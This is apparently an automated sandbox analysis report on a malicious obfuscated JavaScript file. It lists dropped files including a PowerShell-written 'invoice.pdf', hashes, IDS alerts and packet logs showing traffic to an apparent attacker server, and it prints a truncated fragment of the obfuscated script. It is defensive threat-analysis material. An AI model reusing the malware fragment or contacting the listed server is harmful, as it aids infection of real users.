Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\f4f3a2a1-92bd-44eb-b5fb-021dd59b685e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\f719d87e-e75f-4b6e-927a-76f5806cc134.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15876), with CRLF line terminators
Entropy (8bit):	4.927666297274225
TrID:
File name:	489131343024428850.js
File size:	19'483 bytes
MD5:	120d67ea0afbe8a2dc705c703c64bb21
SHA1:	00a28c6bccaf3fb2d58014f9afbb7620a06be963
SHA256:	15809d9095b28bf4a4ecc64678a1d490a1b5c4b7c20dafc6c96cbb4617aa26e3
SHA512:	690342c236eee5ed2ed8666ffa2319cb87fc66e7a87d0f8d2af180d7fd9d81ed3ca12c185132fbbc6d9e9c58d08fcb3cb03ea773d630ab46cfe940da365b0ed7
SSDEEP:	192:JKnMZDZfWMVlupt9M7RI+sSWYV4A4ZqUnGH957raZdBGf9+MrHtpUcwogT9I6HNt:JDhMfMMXZq8GHbmdB29+MTHUcwogZqw
TLSH:	BD9253C09E25DE3FDDD0A4FD20AB08981C8403C5CDFA9AFA53439A0466955FBE5E28F5
File Content Preview:	function wkuakwk(){ypxalfd=[1031,3079,5127,4103,2055,3072];var fenrcgp=this[vqrnkfwwt+hkofyo+dsfegrv+qgggle+gmgka+ajnlt+vjflr+dhbuewcy](this[yevlncg+ramqshhgh+ujcpmjxt+dsfegrv+yquoyqy+vqrnkfwwt+dhbuewcy][eyececpfe+dsfegrv+gmgka+hkofyo+dhbuewcy+gmgka+bwqxr

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T17:19:14.513414+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.10	49740	193.143.1.205	80	TCP
2025-01-10T17:19:16.803929+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.10	49757	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 17:19:13.722955942 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:13.727745056 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:13.728214025 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:13.730928898 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:13.735692024 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.513343096 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.513359070 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.513371944 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.513385057 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.513397932 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.513403893 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.513411045 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.513413906 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.513425112 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.513437986 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.513451099 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.513452053 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.513500929 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.513500929 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.565455914 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.565490007 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.565606117 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.636965990 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.637003899 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.637016058 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.637029886 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.637041092 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.637120008 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.637120008 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.637351036 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.637362957 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.637375116 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.637419939 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.637419939 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.637743950 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.637757063 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.637770891 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.638191938 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.638237953 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.638250113 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.638259888 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.638259888 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.638262033 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.638276100 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.638319016 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.638319016 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.639080048 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.639102936 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.639117956 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.639130116 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.639142990 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.639187098 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.639187098 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.639900923 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.643469095 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.699081898 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.699106932 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.699774027 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.747629881 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.747651100 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.747668982 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.747720957 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.760601044 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.760620117 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.760665894 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.760678053 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.760683060 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.760698080 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.760714054 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.760735989 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.760735989 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.761080980 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.761099100 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.761117935 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.761118889 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.761295080 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.761297941 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.761339903 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.761362076 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.761377096 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.761392117 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.761426926 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.761436939 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.761966944 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.761987925 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.762003899 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.762012005 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.762018919 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.762032986 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.762048006 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.762062073 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.762068033 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.762068033 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.762078047 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.762548923 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.762768030 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.762787104 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.762801886 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.762818098 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.762833118 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.762846947 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.762859106 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.762861013 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.762873888 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.762888908 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.762916088 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.762916088 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.763854027 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.763871908 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.763885975 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.763895035 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.763900042 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.763916016 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.763928890 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.763943911 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.763950109 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.763950109 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.763958931 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.764065027 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.764710903 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.764743090 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.764753103 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.764805079 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.764940023 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.785542965 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.785563946 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.785588980 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.785598993 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.785602093 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.785636902 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.834811926 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.834839106 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.834856033 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.834897995 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.871614933 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.871635914 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.871648073 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.871659040 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.871665955 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.871673107 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.871707916 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.871747971 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.884818077 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.884835005 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.884846926 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.884857893 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.884921074 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.884947062 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.885015965 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.885027885 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.885040998 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.885050058 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.885067940 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.885087013 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.885390997 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.885401011 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.885406971 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.885416985 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.885468006 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.885761976 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.885816097 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.885826111 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.885838032 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.885855913 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.885883093 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.886272907 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.886285067 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.886296034 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.886306047 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.886317968 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.886328936 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.886339903 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.886368036 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.886934042 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.886949062 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.886966944 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.886977911 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.886990070 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.887001038 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.887003899 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.887012959 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.887023926 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.887031078 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.887048960 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.887069941 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.887876987 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.887895107 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.887906075 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.887917042 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.887928963 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.887936115 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.887940884 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.887953043 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.887959957 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.887964010 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.888011932 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.888031960 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.888771057 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.888870955 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.888881922 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.888892889 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.888906002 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.888909101 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.888916969 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.888928890 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.888933897 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.888940096 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.888978958 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.888998032 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.889705896 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.889827013 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.889839888 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.889853001 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.889864922 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.889869928 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.889877081 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.889888048 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.889894009 CET	49740	80	192.168.2.10	193.143.1.205
